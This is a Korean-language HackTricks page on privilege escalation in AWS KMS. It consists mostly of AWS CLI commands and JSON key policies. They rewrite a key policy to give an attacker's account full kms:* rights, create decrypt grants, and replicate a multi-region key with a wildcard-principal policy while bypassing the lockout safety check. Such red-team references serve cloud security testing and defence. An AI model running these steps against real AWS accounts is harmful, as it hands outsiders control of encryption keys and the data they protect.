AWS - KMS Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

KMS

KMS에 대한 자세한 정보는 다음을 확인하세요:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

이러한 권한을 가지고 있으면 키의 액세스 권한을 수정하여 다른 계정이나 누구나 사용할 수 있도록 할 수 있습니다:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

이는 주체가 KMS 키를 사용할 수 있도록 허용합니다.

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

그랜트는 특정 유형의 작업만 허용할 수 있습니다: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

KMS가 그랜트를 생성한 후 몇 분이 걸릴 수 있다는 점을 유의하십시오. 그 시간이 지나면 주체는 어떤 것도 지정하지 않고도 KMS 키를 사용할 수 있습니다. 그러나 즉시 그랜트를 사용해야 하는 경우 그랜트 토큰을 사용하십시오 (다음 코드를 확인하십시오). 자세한 정보는 여기를 참조하십시오.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

다음과 같이 키의 부여 목록을 나열할 수 있습니다:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

이러한 권한을 가지고 있으면 다른 지역에서 다른 정책을 사용하여 멀티 리전 활성화된 KMS 키를 복제할 수 있습니다.

따라서, 공격자는 이를 악용하여 키에 대한 액세스 권한을 상승시키고 사용할 수 있습니다.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

이 권한은 키를 사용하여 정보를 복호화하는 데 사용할 수 있습니다. 자세한 정보는 확인하십시오:

pageAWS - KMS Post Exploitation
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新